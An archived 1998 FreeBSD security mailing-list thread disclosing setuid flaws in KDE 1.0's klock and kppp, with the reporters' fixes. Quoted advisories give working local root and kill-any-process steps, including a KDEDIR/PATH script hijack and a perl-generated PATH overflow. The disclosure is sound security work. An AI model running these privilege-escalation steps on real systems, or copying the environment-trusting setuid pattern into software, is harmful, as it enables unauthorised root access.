Date: Wed, 18 Nov 1998 12:57:03 -0500 (EST) From: Robert Watson <robert@cyrus.watson.org> To: security@FreeBSD.ORG Subject: Re: KDE kppp and klock have serious security flaws (fwd) Message-ID: <Pine.BSF.3.96.981118125645.2507B-100000@fledge.watson.org>
next in thread | raw e-mail | index | archive | help
(damn it, stupid finger :) Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ ---------- Forwarded message ---------- Date: Wed, 18 Nov 1998 12:52:45 -0500 (EST) From: Robert Watson <robert@cyrus.watson.org> Reply-To: Robert Watson <robert+freebsd@cyrus.watson.org> To: "David G. Andersen" <danderse@cs.utah.edu> Cc: cert@cert.org, securit@freebsd.org, aleph1@dfw.net, wuebben@kde.org Subject: Re: KDE kppp and klock have serious security flaws I have been aware of a number of these bugs for quite a while now; unfortunately I have not had time to attempt to exploit them, etc. I'm glad someone has gotten around to noticing and attempting to deal with them. In general the KDE code is pretty sloppy in this area -- I have noticed that a number of the screen savers write out their config files as root (that is, they end up being owned by root), and have a tendancy to core-dump, etc. Similarly, the su'd kfm they provide for priviledged disk access automatically performs an xhost +locahost (or variation) which isn't so good if you have a workstation people can log into remotely. Similarly, I believe that the automatic interpretation of directories with index.html as web pages can cause problems -- I suspect that many overflows exist in their browser, and automatic HTML interpretation can cause problems. Overall, I would say KDE is chock-full-o-bugs and the setuid portions of it need to be seriously reconsidered. There has been recent discussion on the FreeBSD security mailing list of a seperate binary performing password checks as a slave of a normal screen saver binary. This might be an appropriate model to follow, given the complexity of the screen saver code. BTW, freebsd-security is not the private mailing list -- you may have intended to send that to security-officer@freebsd.org. On Wed, 18 Nov 1998, David G. Andersen wrote: > > HD Moore, FreeBSD-security, CERT: > > I haven't released this publically yet, but the bugs are > apparent from a quick inspection of the source, or > ktracing the binaries. From the ease with which this > is exploitable, it seems fairly important for people > running KDE in a nervous environment to apply HD Moore's > and my fix as soon as possible. > > Aleph1: I'm CC:'ing you on this one, but it seems best > if it's not released to bugtraq for a few days, all things > considered. > > The version of KDE I'm using (1.0) is from the FreeBSD-ports > collection. I don't have KDE installed on any other > platforms at this time to test. > > > HD Moore just posted one root exploit. A quick examination > of KDE shows that that's not the only one. > > Fix: > > chmod a-s klock kppp > > Problems: > > 1 - Kill any process you want: > > setenv HOME "/tmp" > echo thepid > /tmp/.kss.pid > klock > > { > KDE trusts the value of the HOME environment variable to > contain your real home directory. They do think to check > if the pid is -1, but that's about it. > } > > 2 - Obviously, the problem found by HD Moore can take advantage of the > race condition between the two execlp's that klock calls. From > the KDE code: > > execlp( buffer, buffer, "-test", "-lock", 0 ); > execlp("kblankscrn.kss","kblankscrn.kss","-test","-lock",0); > > Can we say TTCTTOU flaw? Less trivially exploitable, more > serious. > > 3 - However, it doesn't even matter, because: > > KDE trusts the value of your KDEDIR environment variable. > > setenv KDEDIR /tmp > echo "#!/bin/sh" > /tmp/kblankscrn.kss > echo "id" >> /tmp/blankscrn.kss > chmod +x /tmp/blankscrn.kss > klock > > "oops" > > (This has ramifications in kppp as well) > > 3 - Hide files in other places in the filesystem. > > More minor, "kppp" doesn't check your $HOME directory very > carefully when executing its make_directories() function, so it > leaves ".kde" directory turds in its path. Unfortunately, it > creates these as root, and then creates user-owned directories > within them. The result? Writable directories on-demand, in > the location of your choice. > > 4 - Buffer overflows? Oh dear. > > > if(getenv("PATH") != NULL) > strncat(path, getenv("PATH"), sizeof(path)-512); > > Er, well, what if I have a path that's more than 512 characters? > Wouldn't it just be awful, if: > > setenv PATH ${PATH}:`perl -e "print 'a'x1000"` > > kppp > Segmentation fault > > > Insert obligatory plea for more security consciousness in setuid > programs here. These are sloppy bugs which should have been avoided > the first time around. > > I'll stick a slightly more polished advisory about this on my webpage > soon. > > -Dave > > -- > work: danderse@cs.utah.edu me: angio@pobox.com > University of Utah http://www.angio.net/ > Department of Computer Science > > > Lo and Behold, HD Moore said: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > - --( the problem )-- > > > > The SUID program klock shipped with KDE 1.0 attempts to execute > > kblankscrn.kss in the same directory as it. If kblankscrn.kss cannot > > be executed (missing or mode -x) then klock will search the current > > user's $PATH for any executable with the same name and execute it as > > ROOT. If no executable is found in the current path it gives this > > message: > > > > >Could not invoke kblankscrn.kss in $PATH or /opt/kde/bin > > > > Default modes for klock and kblankscrn.kss are: > > > > - -rwsr-xr-x 1 root root 8760 Mar 12 1998 /opt/kde/bin/klock > > - -rwsr-xr-x 1 root root 43600 Mar 12 1998 > > /opt/kde/bin/kblankscrn.kss > > > > Systems Affected: any system that runs KDE 1.0 > > ____________________________________________________ > > > > > > ( the exploit ) > > > > This is only exploitable if any of the following occurs: > > > > 1) klock is moved to another directory > > 2) kblankscrn.kss is moved to another directory > > 3) kblankscrn.kss is not executable > > > > To see if you are vulnerable... > > > > 1) as root, chmod 600 /opt/kde/bin/kblankscrn.kss > > 2) login as a normal user > > 3) create a shell script thats looks like: > > > > #!/bin/sh > > echo Running script as `whoami`! > > exit > > > > 4) name this script to kblankscrn.kss and mv to your home directory. > > 5) execute /opt/kde/bin/klock, you should see: > > > > user@hostname:/home/user> /opt/kde/bin/klock > > user@hostname:/home/user> Running script as root! > > > > 6) as root, chmod 755 /opt/kde/bin/kblankscrn.kss > > ____________________________________________________ > > > > > > - --( the fix )-- > > > > chmod 700 /opt/kde/bin/klock or wait until KDE is updated. > > the KDE buglist has been notified > > > > > > > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP for Personal Privacy 5.0 > > Charset: noconv > > > > iQA/AwUBNlDXoa51X44hunVSEQJl2wCgzFbX8KdOfCfOMZGREF5e9H2BGA8An3Qw > > UmLBRO0nACQcXreodKkWFrpm > > =rKnX > > -----END PGP SIGNATURE----- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.96.981118125645.2507B-100000>